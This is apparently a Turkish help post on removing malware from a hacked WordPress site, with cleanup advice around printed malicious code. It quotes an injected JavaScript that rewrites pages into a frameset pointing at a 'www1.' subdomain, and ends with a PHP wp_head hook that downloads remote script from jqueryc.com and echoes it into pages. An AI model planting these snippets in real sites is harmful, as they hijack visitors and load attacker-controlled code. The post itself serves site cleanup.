8
●1.573
<html>
<head>
<script type="text/javascript">
StaticRequestInfo={Referer:document.referrer};function EscapeBrowserFrame(){try{if(window.top.location==window.self.location){}else{window.top.location.href=document.location.href}}catch(Error){}}function SetRequestTitle(){document.title=document.domain}requesturl1=document.location.href;function getsubDomain(){thetld="";domainkeyword="";url=requesturl1;url=url.replace(new RegExp(/^\s+/),"");url=url.replace(new RegExp(/\s+$/),"");url=url.replace(new RegExp(/\\/g),"/");url=url.replace(new RegExp(/^http\:\/\/|^https\:\/\/|^ftp\:\/\//i),"");url=url.replace(new RegExp(/^www\./i),"");url=url.replace(new RegExp(/\/(.*)/),"");if(url.match(new RegExp(/\.[a-z]{2,3}\.[a-z]{2}$/i))){thetld=url.replace(new RegExp(/.*(\.[a-z]{2,3}\.[a-z]{2})$/i),"$1");url=url.replace(new RegExp(/(\.[a-z]{2,3}\.[a-z]{2})$/i),"")}else if(url.match(new RegExp(/\.[a-z]{2,4}$/i))){thetld=url.replace(new RegExp(/.*(\.[a-z]{2,4})$/i),"$1");url=url.replace(new RegExp(/(\.[a-z]{2,4})$/i),"")}var a=(url.match(new RegExp(/\./g)))?true:false;if(a==true){domainkeyword=url.replace(new RegExp(/.*\.(.*)$/i),"$1")}else{domainkeyword=url}}getsubDomain();function InitiateFrameRequest(){var a="";var b="";if(window.location.search.indexOf("?")==0){b="&framerequest=1"}else{b="?framerequest=1"}b+="&refurl="+encodeURIComponent(StaticRequestInfo.Referer);a="http://www1."+domainkeyword+thetld+"/?framerequest=1&refurl="+encodeURIComponent(StaticRequestInfo.Referer);document.write("<frameset rows=\"100%,*\" frameborder=\"no\" border=\"0\" framespacing=\"0\"><frame src=\""+a+"\" name=\"landingparent\"><\/frameset>")}SetRequestTitle();EscapeBrowserFrame();
</script>
</head>
<script type="text/javascript">
InitiateFrameRequest();
</script>
<body>
</body>
</html>Bu kod site adresinize "1" ekleyerek indexinizin görünmesini engelliyor. Kodları bizzat sizin anasayfanızdan aldım. Header.php'ye yerleşmiş. Bulup sildiğinizde sorun ortadan kalkacaktır. Fakat zor bulursunuz çünkü genelde değişken çağırarak geliyor yani başka bir dosyada bu kod. IFRAME virüsünün farklı bir versiyonu. Bukalemun gibi şekil değiştiriyor birçok sitede. Bir ihtimal header.php içersinde saçma bir kod yığını olarak görebilirsiniz genelde altında .ru ile biten bir site bulunur. Bu kodları ve site adresinin daha doğrusu hacklink adresinin olduğu satırları görürseniz silin. Göremezseniz php bilen biri ile değişkenleri tek tek deneyin. Biri kesinlikle bu kodu verecektir. Olurda değişkenin çağırdığı dosya sizin ftpde olmayabilir o zaman hostçunuza bu durumu açıklayın serverdaki açığı kapatsın. Wordfence, WP antivirüs gibi güvenlik eklentileri bu kodu yakalıyacaktır onlarlada tarat siteni ardından online scannerler kullan ve malware kalıntısı varmı bak. Çözülmeyecek bir sorun değil biraz kafa yrmak gerekli ama.if (!function_exists('insert_jquery_function')){function insert_jquery_function(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_function');}